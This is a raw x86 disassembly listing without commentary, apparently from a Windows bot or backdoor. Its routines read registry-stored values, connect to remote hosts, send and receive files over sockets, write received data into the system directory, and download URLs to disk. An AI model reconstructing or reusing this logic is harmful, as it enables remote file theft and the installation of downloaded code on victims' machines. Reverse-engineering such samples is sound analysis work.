push [ebp+Size] ; Size
push [ebp+Memory] ; Src
push esi ; Dst
call _memcpy
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_41645F
mov ecx, 0A0h
loc_41645F: ; CODE XREF: sub_416352+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_416469
push 78h
pop eax
loc_416469: ; CODE XREF: sub_416352+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_4164AE
push esi
push [ebp+Size]
push 42Dh
push edi
call dword_4E3154 ; SendMessageA
loc_4164AE: ; CODE XREF: sub_416352+14Aj
push edi
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_4164CB
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_4E3154 ; SendMessageA
loc_4164CB: ; CODE XREF: sub_416352+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_416509
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_4E3154 ; SendMessageA
loc_416509: ; CODE XREF: sub_416352+1A3j
push edi
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_416524
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4E3154 ; SendMessageA
loc_416524: ; CODE XREF: sub_416352+1C0j
push edi
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_41653D
push ebx
push ebx
push 43Eh
push edi
call dword_4E3154 ; SendMessageA
loc_41653D: ; CODE XREF: sub_416352+1DBj
push edi
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_41655A
push [ebp+Memory]
push [ebp+Size]
push 42Dh
push edi
call dword_4E3154 ; SendMessageA
loc_41655A: ; CODE XREF: sub_416352+1F4j
push [ebp+Memory] ; Memory
call _free
push esi ; Memory
call _free
pop ecx
pop ecx
push edi
call dword_4E3098 ; IsWindow
test eax, eax
jz short loc_416583
push ebx
push ebx
push 40Bh
push edi
call dword_4E3154 ; SendMessageA
loc_416583: ; CODE XREF: sub_416352+63j
; sub_416352+D0j ...
push edi
call dword_4E31A8 ; DestroyWindow
mov eax, ebx
loc_41658C: ; CODE XREF: sub_416352+39j
pop edi
pop esi
pop ebx
leave
retn
sub_416352 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416591 proc near ; CODE XREF: sub_401CC7+25E2p
Dest = byte ptr -3F0h
var_2EC = dword ptr -2ECh
var_EC = byte ptr -0ECh
Str = byte ptr -6Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F0h
push edi
xor edi, edi
cmp off_44D33C, edi
mov [ebp+var_8], 80h
jz loc_416736
push ebx
push esi
mov eax, offset off_44D33C
mov esi, offset dword_44D348
loc_4165BC: ; CODE XREF: sub_416591+19Dj
lea ecx, [ebp+var_4]
push ecx
push 20019h
push edi
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4E3168 ; RegOpenKeyExA
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_EC]
push eax
push edi
push edi
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4E2FF8 ; RegQueryValueExA
test eax, eax
jnz loc_41671C
mov eax, [esi]
cmp eax, edi
jz loc_4166DC
push eax
lea eax, [ebp+var_EC]
push eax
lea eax, [ebp+Dest]
push offset aSS_7 ; "%s\\%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push offset aR_1 ; "r"
push eax ; Filename
call _fopen
mov ebx, eax
add esp, 18h
cmp ebx, edi
jz loc_41671C
loc_416633: ; CODE XREF: sub_416591+C9j
push ebx
lea eax, [ebp+Str]
push 64h
push eax
call sub_41F210
add esp, 0Ch
test eax, eax
jz loc_4166D3
push dword ptr [esi+4] ; SubStr
lea eax, [ebp+Str]
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_416633
push 3Dh ; Val
push dword ptr [esi+4] ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jz short loc_416693
lea eax, [ebp+Str]
push offset asc_44E610 ; "="
push eax ; Str
call _strtok
push offset asc_44E614 ; "="
push edi ; Str
call _strtok
add esp, 10h
push eax
push dword ptr [esi-4]
push offset dword_44E618
jmp short loc_41669F
; ---------------------------------------------------------------------------
loc_416693: ; CODE XREF: sub_416591+D9j
lea eax, [ebp+Str]
push eax
push dword ptr [esi-4]
push offset asc_44E630 ; "-"
loc_41669F: ; CODE XREF: sub_416591+100j
lea eax, [ebp+var_2EC]
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+var_2EC]
push edi ; int
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
lea eax, [ebp+var_2EC]
push eax
call sub_415C3F
add esp, 18h
loc_4166D3: ; CODE XREF: sub_416591+B3j
push ebx ; File
call _fclose
pop ecx
jmp short loc_41671C
; ---------------------------------------------------------------------------
loc_4166DC: ; CODE XREF: sub_416591+65j
lea eax, [ebp+var_EC]
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset asc_44E648 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+var_2EC]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
lea eax, [ebp+var_2EC]
push eax
call sub_415C3F
add esp, 28h
loc_41671C: ; CODE XREF: sub_416591+5Bj
; sub_416591+9Cj ...
push [ebp+var_4]
call dword_4E30D4 ; RegCloseKey
add esi, 18h
cmp [esi-0Ch], edi
lea eax, [esi-0Ch]
jnz loc_4165BC
pop esi
pop ebx
loc_416736: ; CODE XREF: sub_416591+19j
pop edi
leave
retn
sub_416591 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416739 proc near ; CODE XREF: sub_4167BF+33p
; sub_416D25+BCp
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4E3178 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_4167B5
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_4]
call dword_4E30F8 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4E3138 ; inet_addr
cmp eax, esi
jnz short loc_41679A
push [ebp+arg_0]
call dword_4E317C ; gethostbyname
test eax, eax
jz short loc_4167B5
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_41679A: ; CODE XREF: sub_416739+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call dword_4E30A0 ; connect
cmp eax, esi
jnz short loc_4167B9
push edi
call dword_4E3190 ; closesocket
loc_4167B5: ; CODE XREF: sub_416739+1Bj
; sub_416739+58j
mov eax, esi
jmp short loc_4167BB
; ---------------------------------------------------------------------------
loc_4167B9: ; CODE XREF: sub_416739+73j
mov eax, edi
loc_4167BB: ; CODE XREF: sub_416739+7Ej
pop edi
pop esi
leave
retn
sub_416739 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167BF proc near ; DATA XREF: sub_401CC7+A06o
Dst = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_416739
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_416852
lea eax, [ebp+Dst]
push offset asc_44E660 ; "-"
push eax ; Dest
call _sprintf
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_416835
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_409D34
add esp, 14h
loc_416835: ; CODE XREF: sub_4167BF+59j
lea eax, [ebp+Dst]
push eax
call sub_415C3F
push [ebp+var_10]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_416852: ; CODE XREF: sub_4167BF+3Fj
push offset dword_4EADD0
push ebx
call sub_41AB45
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4168BD
lea eax, [ebp+Dst]
push offset asc_44E684 ; "-"
push eax ; Dest
call _sprintf
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_416899
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_409D34
add esp, 14h
loc_416899: ; CODE XREF: sub_4167BF+BDj
lea eax, [ebp+Dst]
push eax
call sub_415C3F
pop ecx
push ebx
call dword_4E3190 ; closesocket
push [ebp+var_10]
call sub_40BA72
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_4168BD: ; CODE XREF: sub_4167BF+A3j
push 64h
call ds:dword_4F534C ; Sleep
xor edi, edi
mov esi, 1000h
loc_4168CC: ; CODE XREF: sub_4167BF+168j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push edi
push esi
push eax
push ebx
call dword_4E3110 ; recv
test eax, eax
jle short loc_416929
lea eax, [ebp+Dst]
push offset asc_44E6B4 ; "\n"
push eax ; Dest
call _strcat
lea eax, [ebp+Dst]
push eax ; Str
call sub_41A931
add esp, 0Ch
test eax, eax
jz short loc_416929
push 64h
call ds:dword_4F534C ; Sleep
push 0Ah
call sub_40B99E
test eax, eax
pop ecx
jnz short loc_4168CC
loc_416929: ; CODE XREF: sub_4167BF+130j
; sub_4167BF+154j
lea eax, [ebp+Dst]
push offset asc_44E6B8 ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_41695C
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_409D34
add esp, 14h
loc_41695C: ; CODE XREF: sub_4167BF+180j
lea eax, [ebp+Dst]
push eax
call sub_415C3F
pop ecx
push ebx
call dword_4E3190 ; closesocket
push [ebp+var_10]
call sub_40BA72
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
sub_4167BF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416980 proc near ; DATA XREF: sub_401CC7+78DAo
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
Dest = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
Str = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
Dst = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_4E3178 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_4169CE
push offset unk_44E6EC
jmp loc_416B87
; ---------------------------------------------------------------------------
loc_4169CE: ; CODE XREF: sub_416980+42j
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push esi
call dword_4E30F8 ; htons
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_4E3124 ; bind
test eax, eax
jz short loc_416A0C
push offset unk_44E710
jmp loc_416B87
; ---------------------------------------------------------------------------
loc_416A0C: ; CODE XREF: sub_416980+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+Dst]
push eax
push edi
call dword_4E309C ; getsockname
push [ebp+var_2E]
call dword_4E3028 ; htons
mov [ebp+var_4], eax
lea eax, [ebp+Str]
push eax ; Str
mov [ebp+arg_0], esi
call _strlen
pop ecx
loc_416A3E: ; CODE XREF: sub_416980+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+Str]
cmp al, 20h
jnz short loc_416A51
push 5Fh
pop eax
jmp short loc_416A54
; ---------------------------------------------------------------------------
loc_416A51: ; CODE XREF: sub_416980+CAj
movsx eax, al
loc_416A54: ; CODE XREF: sub_416980+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+Str]
inc ecx
push eax ; Str
mov [ebp+arg_0], ecx
call _strlen
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_416A3E
push ebx
push edi
call dword_4E3120 ; listen
test eax, eax
jz short loc_416A87
push offset unk_44E734
jmp loc_416B87
; ---------------------------------------------------------------------------
loc_416A87: ; CODE XREF: sub_416980+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+Str]
push 80000000h
push eax
call ds:dword_4F53C0 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_416AB1
push offset unk_44E758
jmp loc_416B87
; ---------------------------------------------------------------------------
loc_416AB1: ; CODE XREF: sub_416980+125j
push esi
push eax
call ds:dword_4F53DC ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AF71
pop ecx
push eax
call dword_4E3138 ; inet_addr
push eax
call dword_4E30F4 ; htonl
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset dword_44E778 ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
lea eax, [ebp+var_DC]
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409D34
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_4E30E0 ; select
test eax, eax
jg short loc_416B61
push esi ; int
lea eax, [ebp+var_DC]
push [ebp+var_54] ; int
push offset dword_44E790 ; int
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409D34
jmp loc_416C85
; ---------------------------------------------------------------------------
loc_416B61: ; CODE XREF: sub_416980+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_4E318C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_416B9A
push offset asc_44E7A8 ; "-"
loc_416B87: ; CODE XREF: sub_416980+49j
; sub_416980+87j ...
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_416C88
; ---------------------------------------------------------------------------
loc_416B9A: ; CODE XREF: sub_416980+200j
push edi
call dword_4E3190 ; closesocket
cmp [ebp+arg_0], esi
jz loc_416C4C
mov edi, 400h
loc_416BAF: ; CODE XREF: sub_416980+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_416BBC
mov [ebp+var_4], eax
loc_416BBC: ; CODE XREF: sub_416980+237j
push edi ; Size
lea eax, [ebp+var_A04]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call ds:dword_4F53F4 ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call ds:dword_4F53BC ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_4E3148 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_4E3110 ; recv
cmp eax, ebx
jl loc_416CE1
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_416CE1
sub [ebp+arg_0], eax
jnz loc_416BAF
mov edi, [ebp+var_18]
loc_416C4C: ; CODE XREF: sub_416980+224j
push [ebp+var_8]
call ds:dword_4F533C ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_41748B
pop ecx
pop ecx
push eax
push [ebp+var_44]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset asc_44E7FC ; "-"
push eax ; Dest
call _sprintf
loc_416C85: ; CODE XREF: sub_416980+1DCj
add esp, 14h
loc_416C88: ; CODE XREF: sub_416980+215j
cmp [ebp+var_50], esi
jnz short loc_416CAD
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_54] ; int
push eax ; int
lea eax, [ebp+var_DC]
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409D34
add esp, 14h
loc_416CAD: ; CODE XREF: sub_416980+30Bj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
cmp edi, esi
pop ecx
jbe short loc_416CC5
push edi
call dword_4E3190 ; closesocket
loc_416CC5: ; CODE XREF: sub_416980+33Cj
push [ebp+var_1F8]
call dword_4E3190 ; closesocket
push [ebp+var_58]
call sub_40BA72
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_416CE1: ; CODE XREF: sub_416980+2AFj
; sub_416980+2BAj
push esi ; int
lea eax, [ebp+var_DC]
push [ebp+var_54] ; int
push offset dword_44E7CC ; int
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409D34
push offset dword_44E7E4
call sub_415C3F
add esp, 18h
push [ebp+var_1F8]
call dword_4E3190 ; closesocket
push [ebp+var_58]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
sub_416980 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D25 proc near ; DATA XREF: sub_401CC7+7A5o
Dst = byte ptr -14C4h
Dest = byte ptr -4C4h
Filename = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
Str = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
File = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+Filename]
push 104h
push eax
call ds:dword_4F5348 ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Filename]
push offset aSS_8 ; "%s%s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Filename]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call ds:dword_4F53C0 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_416DAF
push offset unk_44E830
jmp short loc_416DF5
; ---------------------------------------------------------------------------
loc_416DAF: ; CODE XREF: sub_416D25+81j
push eax
call ds:dword_4F533C ; CloseHandle
lea eax, [ebp+Filename]
push offset aAB ; "a+b"
push eax ; Filename
call _fopen
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+File], eax
jnz short loc_416DD7
push offset unk_44E864
jmp short loc_416DF5
; ---------------------------------------------------------------------------
loc_416DD7: ; CODE XREF: sub_416D25+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_416739
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_416E08
push offset asc_44E890 ; "-"
loc_416DF5: ; CODE XREF: sub_416D25+88j
; sub_416D25+B0j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_416F04
; ---------------------------------------------------------------------------
loc_416E08: ; CODE XREF: sub_416D25+C9j
mov esi, 1000h
loc_416E0D: ; CODE XREF: sub_416D25+14Ej
push esi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4E3110 ; recv
mov edi, eax
cmp edi, ebx
jz loc_416ED4
cmp edi, 0FFFFFFFFh
jz short loc_416E75
push [ebp+File] ; File
lea eax, [ebp+Dst]
push edi ; Count
push 1 ; Size
push eax ; Str
call sub_421420
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_4E30F4 ; htonl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_4E3148 ; send
jmp short loc_416E0D
; ---------------------------------------------------------------------------
loc_416E75: ; CODE XREF: sub_416D25+118j
lea eax, [ebp+Dest]
push offset asc_44E8B0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_18] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1C0] ; int
call sub_409D34
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+File] ; File
call _fclose
add esp, 24h
push [ebp+arg_0]
call dword_4E3190 ; closesocket
push [ebp+var_1C]
call sub_40BA72
pop ecx
push 1
call ds:dword_4F53A0 ; ExitThread
loc_416ED4: ; CODE XREF: sub_416D25+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_41748B
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+Dest]
push offset asc_44E8C8 ; "-"
push eax ; Dest
call _sprintf
add esp, 14h
loc_416F04: ; CODE XREF: sub_416D25+DEj
cmp [ebp+var_14], ebx
jnz short loc_416F29
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_18] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1C0] ; int
call sub_409D34
add esp, 14h
loc_416F29: ; CODE XREF: sub_416D25+1E2j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
cmp [ebp+File], ebx
pop ecx
jz short loc_416F44
push [ebp+File] ; File
call _fclose
pop ecx
loc_416F44: ; CODE XREF: sub_416D25+214j
cmp [ebp+arg_0], ebx
jbe short loc_416F52
push [ebp+arg_0]
call dword_4E3190 ; closesocket
loc_416F52: ; CODE XREF: sub_416D25+222j
push [ebp+var_1C]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
sub_416D25 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F62 proc near ; DATA XREF: sub_401CC7+62FAo
; sub_401CC7+6B3Ao
var_590 = qword ptr -590h
var_584 = qword ptr -584h
Dst = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
Str = byte ptr -2C8h
var_248 = byte ptr -248h
Filename = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
Memory = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_4E30A8
call dword_4E2FFC ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_4173EE
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+Filename]
push 40000000h
push eax
call ds:dword_4F53C0 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_417029
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dst]
push offset asc_44E8F4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_41700C
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409D34
add esp, 14h
loc_41700C: ; CODE XREF: sub_416F62+88j
lea eax, [ebp+Dst]
push eax
call sub_415C3F
push [ebp+var_48]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_417029: ; CODE XREF: sub_416F62+68j
xor edi, edi
call ds:dword_4F537C ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx ; Size
call _malloc
pop ecx
mov [ebp+Memory], eax
loc_417043: ; CODE XREF: sub_416F62+1B4j
push 200h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+Dst]
push 200h
push eax
push [ebp+var_18]
call dword_4E3004 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_417087
push [ebp+arg_0]
lea eax, [ebp+Dst]
push eax
call sub_417454
pop ecx
pop ecx
loc_417087: ; CODE XREF: sub_416F62+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+Dst]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call ds:dword_4F53B4 ; WriteFile
cmp edi, ebx
jnb short loc_4170C5
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_4170AF
mov eax, [ebp+arg_0]
loc_4170AF: ; CODE XREF: sub_416F62+148j
push eax ; Size
lea eax, [ebp+Dst]
push eax ; Src
mov eax, [ebp+Memory]
add eax, edi
push eax ; Dst
call _memcpy
add esp, 0Ch
loc_4170C5: ; CODE XREF: sub_416F62+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_4170D2
cmp edi, [ebp+var_3C]
ja short loc_41711C
loc_4170D2: ; CODE XREF: sub_416F62+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_4170EC
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_44E91C
jmp short loc_4170FC
; ---------------------------------------------------------------------------
loc_4170EC: ; CODE XREF: sub_416F62+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset asc_44E944 ; "-"
loc_4170FC: ; CODE XREF: sub_416F62+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_455E18
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_417043
loc_41711C: ; CODE XREF: sub_416F62+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_417171
cmp edi, [ebp+var_3C]
jz short loc_417171
push [ebp+var_3C]
lea eax, [ebp+Dst]
mov [ebp+var_14], esi
push edi
push offset asc_44E96C ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409D34
lea eax, [ebp+Dst]
push eax
call sub_415C3F
add esp, 28h
loc_417171: ; CODE XREF: sub_416F62+1C4j
; sub_416F62+1C9j
call ds:dword_4F537C ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
